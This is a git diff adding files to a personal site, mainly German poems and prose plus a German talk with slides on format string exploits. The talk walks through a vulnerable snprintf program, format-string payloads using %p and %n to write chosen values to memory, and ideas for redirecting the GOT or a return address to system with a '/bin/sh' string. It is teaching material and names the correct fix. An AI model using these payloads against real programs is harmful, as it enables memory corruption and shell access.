%x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} + +# ./vuln "%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x2323232323 + +0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 +0x68acf04 0x2805a3a8 0x62317830 0x64356666 +test enthaelt: 0x42 +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/17.html b/stories/poetry/MeinVortrag/17.html new file mode 100644 index 0000000..6a32312 --- /dev/null +++ b/stories/poetry/MeinVortrag/17.html @@ -0,0 +1,26 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="16.html"><-</A><A HREF="18.html">-></A> +# ./vuln "%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x2323232323 + +0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 +0x68acf04 0x2805a3a8 0x62317830 0x64356666 +test enthaelt: 0x42 +======================================================= +# ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p " + +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf04\ +0x2805a3a80x623178300x64356666 +test enthaelt: 0x3D +======================================================= +# ./vuln "%8p%8p%8p%8p%111638553p%999999999p%n " +test auf: 0xbfbff6b0 +test enthaelt: 0x23232323 + +0x1bff5c80xbfbff60c0x2804d7990x8048337 +test enthaelt: 0x42424242 +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/18.html b/stories/poetry/MeinVortrag/18.html new file mode 100644 index 0000000..4c50a98 --- /dev/null +++ b/stories/poetry/MeinVortrag/18.html @@ -0,0 +1,20 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="17.html"><-</A><A HREF="19.html">-></A> + + + + + + + + + +"/../../../../../../../../../bin/sh" + + + + + + + +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/19.html b/stories/poetry/MeinVortrag/19.html new file mode 100644 index 0000000..3261117 --- /dev/null +++ b/stories/poetry/MeinVortrag/19.html @@ -0,0 +1,14 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="1.html"><-</A><A HREF="1.html">-></A> + + + + +That's all folks... + +links: + +http://community.core-sdi.com/~juliano/ +http://www.phrack.org/show.php?p=49&a=14 + +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings new file mode 100644 index 0000000..7d6b591 --- /dev/null +++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings @@ -0,0 +1,367 @@ +Format String Exploits: + +Heisst grundsaetzlich, die Eigenschaft der +f/s(n)printf/scanf - Funktionsfamilie +auszunutzen, dass sie eine va_args-liste +zum Uebergeben der Parameter und einen +String zum Beschreiben der Anzahl und Art +der Parameter benutzt. + +syntax: + + printf( char *format, param1, param2, ... ) + +Wenn man einen C-Kurs mitmacht, wird einem +vermittelt, dass man in den Formatstring +eintragen soll, welche Paramater die printf +Funktion bekommen wird und wenn es +Inkonsistenzen zwischen dem Formatstring und +den Paramtern gibt, stuerzt das Programm ab. +Und genau an der Stelle beginnt der spannende +Part: wenn ein Programm abstuerzt, +wurde sicher Speicher der Applikation ueber- +schrieben und Ziel des Spiels ist es nun, zu +versuchen, gezielt Speicher mit uns geneigten +Werten zu ueberschreiben. Und unter uns: sooo +schnell schiesst man ein Programm nicht ab :) +Also schauen wir uns mal einen validen Aufruf +der Funktion an: + +int main( ) { + int a, b; + a = 7; + b = 9; + + printf( "%d %d\n", a, b ); + return 0; +} + +In optimiertem Assembler sieht das so aus: + +.LC0: + .string "%d %d\n" +main: + [ ... ] + pushl $9 + pushl $7 + pushl $.LC0 + call printf + [ ... ] + +Dort steht, dass erst b und a auf den Stack +geschoben werden, danach die Adresse des +Formatstrings und schliesslich printf aufgerufen +wird. + +In C ist es generell nicht der Fall, dass +Funktionen ueber die Parameter informiert werden, +die sie auf dem Stack erhalten, das geben sie +naemlich beim Compilen an und erwarten dann auf +dem Stack auch genau diese Parameter vorzufinden. + +Einzige Ausnahme bildet ein Konstrukt namens +va. Das bedeutet "Varibale Argumentenliste". Die +Funktion printf arbeitet dann auch wie folgt: + +int printing( const char *fmt, ...) { + va_list ap; + char output[1024]; + + va_start(ap, fmt); + + while( *fmt ) { + if( *fmt != '%' ) { + putc( *fmt++ ); + } else { /* Parameter substituieren */ + switch( *++fmt ) { + case 'd': + int a = va_arg( ap, int ); + /* Zahl a ausgeben */ + break; + case 's': + char *s = va_arg( ap, char *); + /* String ausgeben */ + .... + } + } + + va_end(ap); +} + +Hinter der ganzen vargs Magie verbergen sich aber +nur diese drei (jetzt mal von mir leicht +vereinfachten) Makros: + +#define va_start(ap, var) ((ap) = (va_list)&var) + +#define va_arg(ap, type) *(((type *)ap++)) + +#define va_end(ap) + +In Wirklichkeit wird da noch ein wenig am Alignment +der Variablen geschraubt, aber im Groben stellt dies +schon dar, wie variable Argumentlisten behandelt +werden: printf holt einfach vom Stack ab, egal, ob da +was drauf steht, oder nicht. + +Was drauf stehen tut aber immer, naemlich Ruecksprung- +adressen und der Stack der aufrufenden Funktionen. +Und das koennen wir uns mal angucken: + +int main( ) { + int a = 0x23232323; + + printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); + return 0; +} +Liefert einen output von: + +0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 + +Und gugge da: wir erkennen doch da glatt unser +nicht ganz zufaellig gewaehltes a wieder. + +%p ist der Bezeichner fuer einen ganz normalen +pointer, also 4 bytes, die vom Stack geholt +und in der 0xn Notation angezeigt werden. + +Aber printf kann mehr: + +int a; + +printf ( "Ich bin 23 Zeichen lang%n\n", &a); +printf ( "Und printf hat's gezaehlt: %d", a); + +Liefert als Ausgabe: + +Ich bin 23 Zeichen lang +Und printf hat's gezaehlt: 23 + +Was ist passiert? Printf erwartet bei einem %n, dass +auf dem Stack der Zeiger auf ein int liegt, in das +er die Anzahl der in diesem Funktionsaufruf +ausgegebnen Zeichen schreibt. Nicht auszumalen, was +passiert, wenn auf dem Stack gar keine solide Adresse +liegt :) + +Printf bietet uns also einen ganz soliden Weg, den +Stack zu inspizieren und aktiv Speicher zu veraendern. +Bliebe die Frage, warum sollte uns ein Programm den +Weg ebnen, den Formatstring selbst zu waehlen. Da gibt +es zwei Erklaerungen: +1. bieten einige Programme fuer formatierte Textausgabe + dem Benutzer an, selber Formatstrings anzugeben. + Dies ist aber nicht so spannend, da der String + meist sehr genau geprueft wird, allerdings gibt es + einen exploit fuer den Mail-Reader mutt, der genau + ueber einen solchen Formatierungsstring anfaellig + war +2. Ist es dem printf egal, ob man ihm nun wirklich einen + Zeiger auf den Formatstring gegeben hat, oder den + Zeiger auf IRGENDEINEN String, der ausgegeben werden + soll. Typischer BASIC Programmierstil ist: + + A = "Hallo" + PRINT A + + in C: + + char *a = "Hallo"; + printf( a ); + + funktioniert auch hervorragend, solange der String + a keine printf - control characters, naemlich "%"'s + enthaelt. + +Genug der Theorie, in der Praxis sieht sowas dann ganz +schlicht so aus: + +int main( int argc, char **argv ) { + char buffer[ 256 ]; + + snprintf( buffer, sizeof buffer, argv[1] ); + + return 0; +} + +Man beachte, dass der Programmierer sich grosse Muehe +gegeben hat, buffer-overflows zu vermeiden, indem er +sichere Variante von sprintf, das snprintf benutzt hat, +damit auch wirklich maximal 32 bytes in den Buffer +gelangen. Allerdings hat er beim String, der geschrieben +werden soll, geschlampt: die Zeile muesste richtig lauten + + snprintf( buffer, sizeof buffer, "%s", argv[1] ); + +Nun, was tut dieses Funktion? Schreibt in den Buffer mit +maximal 32 Zeichen den String argv[1], also das erste +Kommandozeilenargument der Funktion. Aber tut es das auch +wirklich? Nur, wie gesagt, solange im String keine '%' +stehen, aber solche Zeichen in die Kommandozeile einzu- +tippern kriegen wir doch noch hin :) + +Es gibt noch das kleine Problem, dass der Printf halt in +einen Buffer und nicht auf den Screen schreibt, das laesst +sich aber leicht loesen, indem wir entweder einen Debugger +benutzen, um den Inhalt des Buffers auszulesen, oder ein- +fach wieder printf dafuer benutzen, sieht dann so aus: + +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: %x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} + +Ich habe nun noch eine Variable eingefuegt, an der wir +ein wenig rumspielen wollen: Dessen Adresse wuerde man +wieder mit einem debugger herausfinden, hier benutz ich +printf, auch den aktuellen Wert geb ich einmal vor und +einmal nach der "Attacke" aus. +Das compilete Programm wirft mir folgendes raus: + +# ./vuln Probierung +test auf: 0xbfbff6d4 +test enthaelt: 0x23232323 + +Probierung +test enthaelt: 0x23232323 + +Nuescht besonderes. Probieren wir nun mal ein bisschen +mit den Formatstrings rum: + +# ./vuln "AAAA%p %p %p %p %p %p %p %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 +test enthaelt: 0x23232323 + +Als erstes sehen wir, dass sich die Adressse von test +(das sich ja im Stack befindet) variiert. Das liegt +daran, dass die Kommandozeilenparameter im Stack abgelegt +werden. Wir koennen aber mit Anfuerungszeichen und vielen +Spaces ueber die gesamte Testphase fuer einen konstanten +offset sorgen. +Zweitens liegt, wie eben erwaehnt, auch der Format-String +nocheinmal im Stack weiter oben rum, die 0x41414141 sind +unsere AAAA in der Kommandozeile. + +Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin +entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer +weniger und tun dafuer ein %n hin: + +# ./test "AAAA%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +Segmentation fault (core dumped) + +Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt +nicht mit den Formatstrings rum. Aber was genau hab ich jetzt +kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n +vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau +bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als +naechstes 0x41414141. Und dieser Wert wird ja nun bei einem +%n als Adresse einer int interpretiert, an die der aktuelle +Character-Count geschrieben werden soll. Und an 0x41414141 +befindet sich kein lesbarer Speicher. Also kein Geheimnis. +Aber wer jetzt einen Exploit entdeckt hat, soll sich mal +melden. Genau... die 0x41414141 kommt ja direkt aus unserem +Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege +da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? +Wir haetten da sogar noch eine ueber: +0xbfbff6c0 +Da liegt naemlich die Variable test und es ist sogar eine int. +Als String sieht die Adresse so aus: +Ungewoehnlich, aber wat solls, solange kein % und kein \000 +dabei ist, soll uns das nicht stoeren :) +Wir probieren das einfach mal aus: + +# ./vuln "%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x2323232323 + +0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 +test enthaelt: 0x42 + +An der Stelle, wo da zwei Leerzeichen hintereinander sind, +wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt +0x42. + +Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum +Doppelleerzeichen 66 ausgegebene Characters. + +Wir haben es also geschafft, an eine beliebige Adresse einen +leider noch einigermassen zufaelligen Wert zu schreiben, das +soll sich jetzt aendern. Was wir brauchen, ist eine wohl- +bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. +Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, +damit wir mit ihnen rechnen koennen. Dat jeht so: + +# ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p " +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 +test enthaelt: 0x3D + +und mit der letzten koennen wir noch ein wenig spielen: + +./test "%8p%8p%8p%8p%111638553p%999999999p%n " +test auf: 0xbfbff6b0 +test enthaelt: 0x23232323 + +0x1bff5c80xbfbff60c0x2804d7990x8048337 +test enthaelt: 0x42424242 + +Ich musste fuer die grossen Zahlen leider noch ein wenig an der +Adresse von test rumspielen, aber im Prinzip ist zu erkennen, +dass ich an jede Adresse jeden Wert schreiben kann. Was habe +ich getan? Man kann fuer Zahlenkonvertierungen in printf eine +width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt +wird, wenn die Zahl nicht breit genug wird. Und das koennen nu +auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man +auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn +man mal eine valide Adresse wohin schreiben will. Und netterweise +liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, +sondern die der "theoretisch" geschriebenen in %n zurueck, was +dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... + +Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, +man uebergibt diesen einfach mit im Formatstring und kann die +Einsprungadresse punktgenau auf den Stack werfen. Waere aber +eigentlich eine Schande, denn Formatstringexploits sind so fili- +gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen +return adressen eigentlich nur raten. + +Viel eleganter ist es, die GOT des binaries zu veraendern. +Dies ist die global object table, und dort hinein kommen fuer +alle Funktionen, die aus Libraries eingebunden werden, die +Adressen. Der Vorteil ist, dass bei fast allen Standard- +anwendungen die GOT ungefaehr gleich aussieht. Wenn man die +Adresse des fopen-calls einfach mit der des system-calls ueber- +schreibt, koennte man einen Teil des formatstrings glatt von +einer Shell interpretieren lassen. + +Dies ist insoweit im Moment spannend, da ernsthaft damit ange- +fangen wird, den Stack non-executable zu mappen und damit buffer +overflows und darin befindlicher Shellcode zu verhindern. + +Dies liesse noch Spielraum fuer eine weitere Option, naemlich +die Ruecksprungadresse der printf-aufrufenden Funktion zu +ueberschreiben und zwar mit der Einsprungadresse von system, +wenn man davor eine Adresse irgendwo im eigenen Formatstring +hinpackt, kann man den Formatstring wie folgt gestalten: + +"/../../../../../../../../../bin/sh" + +die ../'s sind naemlich eigentlich auch NOPs. diff --git a/stories/poetry/MeinVortrag/templ.html b/stories/poetry/MeinVortrag/templ.html new file mode 100644 index 0000000..4592390 --- /dev/null +++ b/stories/poetry/MeinVortrag/templ.html @@ -0,0 +1,7 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="1.html"><-</A><A HREF="1.html">-></A> + + + + +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/SeinSohn.md b/stories/poetry/SeinSohn.md new file mode 100644 index 0000000..4551cba --- /dev/null +++ b/stories/poetry/SeinSohn.md @@ -0,0 +1,17 @@ +<!-- +.. title: Sein Sohn +.. date: 2004/09/01 +.. tags: poetry +--> + +"Ach weißt du, mein Junge, damals war alles ein wenig komplizierter, als heute. Da gab es einen König, der war groß und mächtig, und das nur, weil er behauptete, alle Menschen mit großen Ohren seien dümmer und generell schlechter,als die mit kleinen Ohren und das gefiel den Menschen mit kleinen Ohren natürlich und es wurden Experimente gemacht und alle Menschen mit großen Ohren sollten das Königreich verlassen und alle, die es trotz großer Ohren nicht verlassen wollten, wurden eingesperrt, damit kein Kleinohriger mehr den anstößigen Anblick großer Ohren ertragen mußte. + +Da es dem König aus dem Nachbarreich egal war, welche Ohren die Menschen hatten und sich die beiden Könige noch nie leiden konnten, begann ein Krieg zwischen den Königreichen. + +Da begab es sich eines Tages, daß eine Frau mit ihrem Sohn beim Hofe des Königs Einlass begehrte, verlangte den König zu sprechen, ihre Kapuze lüftete, welche den Blick auf besonders große Ohren freigab, und die empörte Verdutztheit über frei herumlaufende Großohren ausnutzte, sich an der Torwache vorbeizudrängeln. + +Im Hofstaat angekommen, behauptete sie, daß ihr Sohn vom König sei und daß sie das auch beweisen könne und nachdem sie es bewies und da das bedeutete, daß der König gelogen und Großohrige nicht immer verachtet hatte und somit seine Macht verloren hätte, wurde beschlossen, die Frau nicht vorzulassen und niemandem weiter von der Sache zu erzählen und sie und ihr Sohn verschwanden im Kriegsgetümmel." + +"Und, Opa... wenn niemand weiter davon gewußt hat ... dann warst du also dieser Junge?" + +"Nein - ich habe ihn erschlagen." diff --git a/stories/poetry/Unreal.md b/stories/poetry/Unreal.md new file mode 100644 index 0000000..6780d3f --- /dev/null +++ b/stories/poetry/Unreal.md @@ -0,0 +1,27 @@ +<!-- +.. title: Unreal +.. date: 2005/07/01 +.. tags: poetry +--> + +Unreal ist er, der Gedanke,<br/> +der uns beide verbindet.<br/> +Teils laengst gestorben<br/> +und beerdigt<br/> +und fleissig mit Traenen<br/> +und Giesskannen begossen<br/> +und mit Bluemchen<br/> +und Straeuchern bepflanzt<br/> +und wiederherbeigefleht<br/> +und doch gefuerchtet<br/> +und verwunschen<br/> +und vielleicht rastloser<br/> +und unheiliger Geist nur<br/> +und fluechtend aus kaltem<br/> +und nassem Grabe<br/> +und auf der Jagd, mich<br/> +und dich ungluecklich<br/> +und allein zu sehen.<br/> +Teils immer noch da<br/> +und tausenfach um uns herum<br/> +und nur nicht fuer mich. diff --git a/stories/poetry/aussage1.md b/stories/poetry/aussage1.md new file mode 100644 index 0000000..0361cbf --- /dev/null +++ b/stories/poetry/aussage1.md @@ -0,0 +1,7 @@ +<!-- +.. title: Aussage 1 +.. date: 2000/12/01 +.. tags: poetry +--> + +Geht nicht, mein ich. Man kann nicht schreiben, was keiner wissen will. Und wenn ich dir wirklich soviel bedeute, kann es besser sein, daß wir uns sofort voneinander trennen ohne, daß du merkst, was ich eigentlich wirklich von dir will. Bedenke: bei allem, was immer ich auch von mir gebe, du wirst nie daß, was ich gerade denke und fühle, in Erfahrung bringen. Denke nicht, daß du jetzt weißt, was ich sagen will, ich weiß es selber nicht. Warum auch? Aus der bloßen Tatsache, daß wer was schreibt, schließe nicht, daß ich auch irgendwas zu sagen habe. Und laß dich bloß nicht von mir belehren, wie du mit dem umzugehen hast, was ich dir eh vorenthalte. Denn nichts ist, wie es scheint und Floskeln machen Texte länger, erhöhen aber den Aussagegehalt genau so wenig, wie rhetorische Anfragen an dich, nicht wahr. Du meinst, alles, was du bis jetzt lesen konntest, läßt dich ein Bild von mir bilden, was, wenn jetzt etwas ganz Unerwartetes kommt? Scheiße. Trennst du Müll, bringt es was? Wählst du etwa? Interessierst dich Politik? Hast du Ahnung von Vögeln? Und magst du platte oder schlüpfrige Doppeldeutigkeiten? Paßt es dir, daß ich dich duze? Mußt das ja nicht lesen. War sicherlich eh nicht für dich geschrieben, also reg dich nicht auf und lies brav weiter, sei doch aber nicht so passiv und erwarte vor allem nicht, daß ich dir sage, was du zu tun hast, glaube mir aber alles, was du sagst. Wartest du auf Wahrheiten? Das Orakel ist müde und Poesie ist nur etwas für Ausgeschlafene. Können wir nicht einfach gute Freunde sein und alles brüderlich teilen? Bloß nicht mein Wissen, aber wahr ist doch eh nur, was du auch wahr haben willst, warum gehst du nicht und machst dir deine eigenen Gedanken. 9 mal 2 ist 12. Wenn wir doch nur die selbe Basis hätten. Und steckt nicht in jeder Lüge ein Körnchen Wahrheit und wurzelt nicht jeglicher Fortschritt in der Unwahrheit, gehen dir meine Assoziationen zu weit? Und ist all mein Schaffen nicht Teil einer gigantischen Verschwörung von der du ob ihrer Komplexität bisher nichts ahntest, oder soll ich dafür wieder das Bild des Hamsters in seinem fortschrittsbehindernden Umfeld bemühen. Ich erfülle meine Voraussagung aber will mich nicht selber zitieren, schau selbst, was ich meinen könnte, vielleicht denkst du ja jetzt doch schon, wie ich, mag sein, du wolltest es gar nicht. Man hätte aber mal darüber nachdenken können. diff --git a/stories/poetry/aussage2.md b/stories/poetry/aussage2.md new file mode 100644 index 0000000..8c48ee7 --- /dev/null +++ b/stories/poetry/aussage2.md @@ -0,0 +1,7 @@ +<!-- +.. title: Aussage 2 +.. date: 2000/12/02 +.. tags: poetry +--> + +Ich finde Texte einfach zum Kotzen. Ich hasse Provokationen. Du solltest versuchen, diesen Text weder als Provokation noch als Text aufzufassen oder deine Attitüde zu der meinen verschieden wählen. Oder einfach aufhören diesen provozierenden Text zu lesen oder vielleicht einfach selber entscheiden, wovon du dich provoziert fühlst, gib nichts auf meine Auffassungen von mir selbst, oder dem Bild, welches ich von dir habe, entsprich ihm. Du hast eh keine Wahl. Stell dir lieber vor, welches Bild ich von dir habe und überdenke deines. Warum ich wohl sowas schreib und warum du es dann auch noch liest, sind wir uns nun deswegen ähnlich oder gerade nicht? Manipulier ich dich? Glaubst du, daß du merkst, wie ich dich manipuliere, warum hörst du nicht auf, zu lesen? Bist du der Meinung, die Kontrolle zu behalten? Funktioniert so Politik, wählst du dir deine Gesprächspartner nicht normalerweise gründlicher aus, was meinst du, wie wohl dialogische Kommunikation zwischen uns aussähe? Meinst du, du wüßtest, was zu sagen wäre, meinst du, ich wüßte es? Denkst du, du erfährst hier mehr über mich, als wenn du auch was zu sagen hättest, denkst du, du erfährst irgendetwas über mich, denkst du, ich wäre durchschaubar? Was hältst du von Texten? Dumme Frage. Auch sehr kategorisch, meine Meinung, findest du nicht? Kategorisierst du damit nicht auch? Ich denke nicht. War es zu offensichtlich? Nimmt der Strom nicht seltsam verschlungene Wege, ist es doch gottgegeben oder widerspricht sich das garnicht oder sollte ich mir als Atheist auch kein Bildnis machen? Soll ich nun provozieren? Ist Religion nicht ein heikles Thema, oder kommt das auf den Gegenüber an? Liest es sich noch so leicht ohne Führung? Konntest du mir folgen? Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Und guck mich gefälligst an, wenn ich mit dir rede. Und sitz nicht so nachdenklich da, sag was. Achte nicht auf die Menschen um dich herum. Es tut gut, was zu sagen. Kritisiere, was du gerade liest und begehre dagegen auf. Erkenne die Schwachstellen und lass dich nicht beeinflussen. Und denke später darüber nach. Tu, wonach dir ist und gib nichts auf gutgemeinte lebensfremde Phrasen, aber lies erst zuende. Ist ja nicht mehr weit und sicherlich hättest du auch so getan, wonach dir ist. Denkst du. Nein, du tust es ja nicht mal. Und wirst es auch nicht. Ich auch nicht. diff --git a/stories/poetry/aussage3.md b/stories/poetry/aussage3.md new file mode 100644 index 0000000..e48bb03 --- /dev/null +++ b/stories/poetry/aussage3.md @@ -0,0 +1,7 @@ +<!-- +.. title: Aussage 3 +.. date: 2000/12/03 +.. tags: poetry +--> + +Und da sitzen wieder zwei Menschen, zeitversetz, aber fast gegenüber, vor fast der selben Menge Wort. Für den einen ist sie noch nicht einmal fertig, für den anderen weitestgehend unverständlich. Das macht aber nichts. Bis jetzt haben nämlich beide keine Ahnung, was darin steht. Und seltsamerweise aendert sich da mit jedem Wort, ebenfalls für beide. Und das macht durchaus etwas aus. Zeigt es denn nicht, daß man sich auf den anderen einläßt? Nein. Denn der eine weiß nichts vom Anderen, außer dem Offentsichtlichem. Wahrscheinlich könnten sich beide nicht einmal leiden. Soll ich deutlicher werden? Im Passiv zu schreiben wirkt zu nachdenklich. Man sollte ja denken, daß ich genug Zeit zum Nachdenken gehabt hätte. Wenn nicht kannst du ja fuer mich weiter denken. Dir bleibt ja wohl noch genug Zeit dafür. Eigentlich verpflichtest du dich ja dadurch, daß du weiterliest, geradzu dazu. Man kann ja nicht an alles denken. Man sollte nicht zu fordernd sein. Man ist ja auch nicht mehr der Jüngste. Man flüchtet sich zu leicht wieder ins Passiv. Und reiht sinnlos Hauptsätze aneinander. Eigentlich hab ich gar keine Lust weiterzuschreiben. Ehrlich. Und du? Ehrlich, hast du eben ans weiterlesen oder weiterschreiben gedacht? Man, läßt du dich leicht in eine Rolle weisen!? Hast du dich jemals gefragt, ob dein ganzes Leben ein perfides Spiel ist. Eingefädelt zur Belustigung. Und bestimmt nicht deiner. Aber würdest du dann darauf hingewiesen werden? Wäre ja nicht in derem Sinne. Ist also dieser Text der Beweis, dass dem nicht so ist? Oder gerade? Oder gerade deswegen wieder nicht? Oder ab welcher Metaebene? Was hat das eigentlich mit diesem Text zu tun. Du schweifst ab! Lies gradliniger! Und sitz gerade! Muss man dich denn immer erinnern? Beim nächsten Mal fängst du wieder von vorne an. Sollte man man drüber nachdenken, aber nicht jetzt. Das lenkt zu sehr vom Lesen ab. Da gibt es nichts bei zu denken. War ja auch nicht abzusehen, dass wir so weit kommen. Und nun? Was sollen wir hier? Vielleicht mal rekapitulieren. Meinst du, daß du ansprechender schreiben würdest, als ich, daß dir deine Texte besser gefallen würden, als meine? Warum machst du dan keine? Das ist gar nicht so schwer. Ich werd es nicht lesen. Jemand anderes wird. Genau das hab ich mir nämlich auch gedacht. Vielleicht bist du ja der erste. Bilde dir nichts darauf ein! Das mach ich ja auch nicht. diff --git a/stories/poetry/baecker.md b/stories/poetry/baecker.md new file mode 100644 index 0000000..dcd9177 --- /dev/null +++ b/stories/poetry/baecker.md @@ -0,0 +1,32 @@ +<!-- +.. title: Bäcker +.. date: 2002/01/01 +.. tags: poetry +--> + +Ne Baeckerlehre. Irgendwas profanes. Da hat man sich dann schon einmal durchgerungen, am Kaffeetisch im Familien- und Freundeskreis der Eltern teilzunehmen, faehrt extra raus in die Pampa und dann das. + +Computerexperte. + +VERDAMMT! +"Mein Sohn ist Computerexperte!" Und das mit einem Laecheln, dass dieses Wort nach "Bundeskanzler" klingen laesst, oder "Bankdirektor". Nun weiss man, dass man verloren hat. + +Alles kommt wieder hoch. All diese "Mutti, du kennst dich doch mit diesem Betriebssystem viel besser aus, als ich". Nein tut sie nicht und dann beweist sie, waehrend man schwitzend durch irgendwelche Systemsteuerungshilfen clickt, dass sie es doch besser weiss. Klar sie wuerden es alleine schaffen, jedes Mal, aber sie brauchen einen ja, damit man die Fehler macht, die sie vermeiden wollen, nur um dann ganz generoes darueber hinwegschauen zu koennen und einem ganz unauffaellig zu zeigen, wieviel Erfahrung sie schon gesammelt haben. Als ob das nun nicht schon alles genug waere, und Telefon- und Benzinkosten beliebiger Hoehe verursacht haette, sitzt man an dieser bekloppten Kaffeetafel und schluckt und versucht, alle Aehnlichkeit mit Bill Gates zu vermeiden, stopft sich mehr Kuchen in den Mund und schluckt und versucht, nicht wie ein voelliger Trottel auch noch rot zu werden, als ob man stolz drauf sei. Aber eigentlich weiss man, dass es keinen Zweck hat. Man hat verloren. + +Das sieht man daran, dass einen alle mit so ganz anderen Augen angucken. Man ist ploetzlich ein Nuetzling. Ein Trottel zwar, aber nuetzlich. Und man sieht an seinem inneren Augen schon die Situationen vorbeihuschen: + +Der Cousin, der sich "irgendwo im Interweb einen Trojaner-Virusprogramm" eingefangen hat und man darf da antanzen, clickt ein wenig herum, bekommt in der Browseraddresshistory Ferkelwoerter zu sehen, die einem einen ungefaehren Eindruck verschaffen, mit welcher Hartnaeckigkeit da gesucht wurde und von denen ein Grossteil da nicht im Traum einfallen wuerde, obwohl man ja selber auch nicht voellig.. aber egal! Man nickt ein paar mal bedeutend und schuettelt hier und dort den Kopf und wenn der Cousin dann irgendwas von "Iloveyou" und "Melissa" brabbelt, faellt einem nix weiter ein als "Ja, hab ich auf Heise gelesen, aber weiss ich jetzt auch nicht" und dann sieht man dieses schnippische "pah". Dieses "und du willst was von Computern verstehen". Und zu NetBSD und dem Apache, den man vorhin installiert hat und dem CryptoFS, an dem man grade codet, gibz nur ein "hab ich laengst durchgespielt" und man weiss, dass man Federn verloren hat, aber da nie wieder hin muss. + +Und da sitzt man nun, kaut auf Gabel und Kuchen und alle warten auf den Startschuss zur Hatz. Da gibt es immer einen widerlichen neuen Liebhaber irgendeiner Tante, der einem ganz scheinheilig zwei voellig aus der Luft gegriffene Monitortypen an den Kopf wirft und man soll nun entscheiden, welchen er kaufen soll nur um mit dieser Meinung gleich auseinander genommen zu werden. Man rettet sich mit Phantastereien ueber Lochmasken vom LCD Schirm und ist erloest. + +Vorerst nur, dank derselben bloede Tante, die den Typen angeschleppt hat, die macht naemlich einen Witz ueber Bankraeuber mit ihren Lochmasken. Die Meute hat nun mit der gestrigen Bildzeitung und dem schlimmen Bankueberfall genug zu tun, um vom heroischen Fluchtversuch abzulenken, den man dann notfuerftig als Toilettenbesuch getarnt, unternimmt. Saesse man noch da, wenn sie sich einem wieder widmeten, liefen man leicht Gefahr, jegliche Selbstachtung zu verlieren. Stattdessen steht der sehr verstaendnisvolle Opa im Flur, der unbedingt wissen will, was man denn da so gerade arbeitet und irgendwie tut es einem ernsthaft leid, dass das enttaeuschte Nichtverstehen in seinen Augen schon nach dem zweiten Buzzword durchfackelt. + +Und wieder uebermannt einen ein Bild drohenden Uebels. Situation: gemuetlicher Abend, Programmieren an der Weltverbesserung. Grundnahrungsmittel und Brot, eine gute Playlist, naechsten Morgen nicht frueh aufstehen... und dann natuerlich ploetzlich Telefon. Und dann vier Stunden irgendeinem Verwandten oder Bekannten eines Verwandten nur unter Zurhilfenahme eines XP auf dem Scancomputer in der Firma als Referenz beschreiben wie man unter Win95 versteckte Dateien einblendet und dlls ins Pluginverzeichnis des CD-Rippers kopiert, dass natuerlich nicht ueber den Startknopf im zweiten Menue sondern im Explorer, der aber dummerweise Arbeitsplatz heisst... + +dabei kann man gerade noch verhindern, auf dem Rueckweg vom Klo in das Nachbarskind zu rennen, dass inzwischen schon gross und ansehnlich geworden ist, und steht paralysiert da, wie man es aus schlechten Filmen kennt, wo auch der ekligste, pickelige Computerhacker doch noch das 